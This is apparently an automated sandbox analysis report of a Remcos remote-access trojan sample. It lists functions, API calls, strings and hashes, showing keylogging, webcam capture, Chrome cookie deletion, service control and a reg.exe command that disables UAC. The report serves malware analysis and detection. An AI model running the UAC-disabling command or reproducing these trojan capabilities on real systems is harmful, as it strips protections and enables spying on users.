DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
GetLastError.KERNEL32 ref: 0040BAE7

Strings

[Chrome Cookies not found], xrefs: 0040BB01
[Chrome Cookies found, cleared!], xrefs: 0040BB0D
\AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
UserProfile, xrefs: 0040BAAD

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
API String ID: 2018770650-304995407
Opcode ID: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
Opcode Fuzzy Hash: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE

Function 0041CD9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

AllocConsole.KERNEL32 ref: 0041CDA4
ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2

Strings

CONOUT$, xrefs: 0041CDD0
5.1.0 Pro, xrefs: 0041CE0B
Remcos v, xrefs: 0041CDFD

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Console$AllocOutputShowWindow
String ID: Remcos v$5.1.0 Pro$CONOUT$
API String ID: 2425139147-1043272453
Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E

Function 0044333A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002), ref: 0044335A
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002), ref: 0044336D
FreeLibrary.KERNEL32(00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG), ref: 00443390

Strings

PkGNG, xrefs: 0044333C
CorExitProcess, xrefs: 00443365
mscoree.dll, xrefs: 00443353

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$PkGNG$mscoree.dll
API String ID: 4061214504-213444651
Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98

Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 0043AC69
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
__allrem.LIBCMT ref: 0043AC9C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
__allrem.LIBCMT ref: 0043ACD1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A

Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?), ref: 004044C4

Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C

Strings

CloseCamera, xrefs: 0040458E
FreeFrame, xrefs: 004045B0
GetFrame, xrefs: 0040459F
HNG, xrefs: 004045E6
OpenCamera, xrefs: 00404582

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: H_prologSleep
String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
API String ID: 3469354165-3054508432
Opcode ID: 92d61490a4b2957e555669ba2acdc23e21a020ddb9508585be9bb95eb31fcb07
Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
Opcode Fuzzy Hash: 92d61490a4b2957e555669ba2acdc23e21a020ddb9508585be9bb95eb31fcb07
Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E

Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 00445925
__cftoe.LIBCMT ref: 00445957

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: bc22737b9e07c01bfe43bbe439fdc0bac90f3fb6b0d8d7516700c90120c40b46
Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
Opcode Fuzzy Hash: bc22737b9e07c01bfe43bbe439fdc0bac90f3fb6b0d8d7516700c90120c40b46
Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C

Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ChangeConfigManager
String ID:
API String ID: 493672254-0
Opcode ID: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
Opcode Fuzzy Hash: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE

Function 0044A004 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0044A08F
__alldvrm.LIBCMT ref: 0044A290
__alldvrm.LIBCMT ref: 0044A2B2

Strings

PkGNG, xrefs: 0044A006

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID: PkGNG
API String ID: 1036877536-263838557
Opcode ID: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
Opcode Fuzzy Hash: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A

Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
_free.LIBCMT ref: 0044824C
_free.LIBCMT ref: 00448274
SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
_abort.LIBCMT ref: 00448293

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 35dcf3de7c71c62167c4cd53af3f8df7186468cbd06746618ca28f838e92064e
Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
Opcode Fuzzy Hash: 35dcf3de7c71c62167c4cd53af3f8df7186468cbd06746618ca28f838e92064e
Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD

Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
Opcode Fuzzy Hash: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9

Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
Opcode Fuzzy Hash: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9

Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
Opcode Fuzzy Hash: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9

Function 00442801 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

PkGNG, xrefs: 00442803

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788

Function 00404CC3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404DD2
CloseHandle.KERNEL32(?), ref: 00404DDB

Strings

PkGNG, xrefs: 00404CCC

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: PkGNG
API String ID: 3360349984-263838557
Opcode ID: 49fe4c89c4b53e0bfaa247814761066ed204ae0ee87e3a5f8c156f36cd8984b3
Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
Opcode Fuzzy Hash: 49fe4c89c4b53e0bfaa247814761066ed204ae0ee87e3a5f8c156f36cd8984b3
Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666

Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
wsprintfW.USER32 ref: 0040B1F3

Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662

Strings

Offline Keylogger Started, xrefs: 0040B16B
], xrefs: 0040B180
[%04i/%02i/%02i %02i:%02i:%02i , xrefs: 0040B17B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: EventLocalTimewsprintf
String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
API String ID: 1497725170-248792730
Opcode ID: 48ae87abe5a633f6dbf757c3d9d37f4c5ebff31f90a39cbd1b197af817f8fe73
Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
Opcode Fuzzy Hash: 48ae87abe5a633f6dbf757c3d9d37f4c5ebff31f90a39cbd1b197af817f8fe73
Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC

Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
CloseHandle.KERNEL32(00000000), ref: 0040A6EE

Strings

XQG, xrefs: 0040A6A0

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSizeSleep
String ID: XQG
API String ID: 1958988193-3606453820
Opcode ID: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
Opcode Fuzzy Hash: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E

Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegisterClassExA.USER32 ref: 0041D55B
CreateWindowExA.USER32 ref: 0041D576
GetLastError.KERNEL32 ref: 0041D580

Strings

MsgWindowClass, xrefs: 0041D526
0, xrefs: 0041D52B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ClassCreateErrorLastRegisterWindow
String ID: 0$MsgWindowClass
API String ID: 2877667751-2410386613
Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4

Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
CloseHandle.KERNEL32(?), ref: 004077AA
CloseHandle.KERNEL32(?), ref: 004077AF

Strings

C:\Windows\System32\cmd.exe, xrefs: 00407796
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
API String ID: 2922976086-4183131282
Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9

Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

SG, xrefs: 004076DA
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 004076C4

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
API String ID: 0-1732489412
Opcode ID: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
Opcode Fuzzy Hash: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E

Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EF8), ref: 00405120
SetEvent.KERNEL32(?), ref: 0040512C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00405137
CloseHandle.KERNEL32(?), ref: 00405140

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

Strings

KeepAlive | Disabled, xrefs: 004050F9

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
String ID: KeepAlive | Disabled
API String ID: 2993684571-305739064
Opcode ID: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
Opcode Fuzzy Hash: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A

Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
Sleep.KERNEL32(00002710), ref: 0041AE07
PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10

Strings

Alarm triggered, xrefs: 0041ADC9

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: PlaySound$HandleLocalModuleSleepTime
String ID: Alarm triggered
API String ID: 614609389-2816303416
Opcode ID: b7b395eb2d8a8c6ac5b29d0703eec326aa80e776d4c85912c0c2915f52647228
Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
Opcode Fuzzy Hash: b7b395eb2d8a8c6ac5b29d0703eec326aa80e776d4c85912c0c2915f52647228
Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB

Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CD6F
SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CD7C
SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CD8F

Strings

______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Console$AttributeText$BufferHandleInfoScreen
String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
API String ID: 3024135584-2418719853
Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5

Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

